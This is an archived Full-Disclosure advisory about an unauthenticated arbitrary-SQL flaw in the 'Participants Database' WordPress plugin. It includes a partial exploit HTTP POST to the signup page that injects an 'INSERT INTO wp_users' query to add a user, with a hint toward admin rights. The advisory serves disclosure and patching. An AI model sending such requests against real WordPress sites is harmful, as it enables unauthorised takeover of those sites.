lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  PHC 
Open Source and information security mailing list archives
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [day] [month] [year] [list]
Date: Sun, 1 Jun 2014 13:25:53 +0700
From: Yarubo Security Research Team <>
Subject: [FD] Yarubo #1: Arbitrary SQL Execution in Participants Database
	for Wordpress

Yarubo #1: Arbitrary SQL Execution in Participants Database for Wordpress

Program: Participants Database <=
Severity: Unauthenticated attacker can fully compromise the Wordpress

— Info —

Participants Database is a popular Wordpress plugin that offers the
functionality needed to build and maintain a database of people. As of
today the plugin has been downloaded 92,089 times.

— Vulnerability details —

1. Due to insufficient privilege checks it is possible for anonymous
(unauthenticated) users to trigger some administrative actions If any of
the shortcodes is used (e.g. signup page).

2. The action "export CSV" takes a parameter called "query" that can
contain an arbitrary SQL query. This means that an unauthenticated user can
execute arbitrary SQL statements (e.g. create an admin user, read or write
files, or execute code depending on the MySQL user privileges).

— Exploit —

Add a user to wordpress as follows (if you want an admin user, also add
admin privileges to wp_usermeta):

POST /wordpress/pdb-signup/ HTTP/1.1
Content-Length: 789
Content-Type: multipart/form-data;

Content-Disposition: form-data; name="action"

output CSV
Content-Disposition: form-data; name="CSV_type"

participant list
Content-Disposition: form-data; name="subsource"

Content-Disposition: form-data; name="query"

INSERT INTO wp_users


— Solution —

This issue has been fixed in version Download the newest version

— Credit —

Yarubo Research Team
research [at]

Network Security Scan:

Free Heartbleed Scan:

Sent through the Full Disclosure mailing list
Web Archives & RSS:

Powered by blists - more mailing lists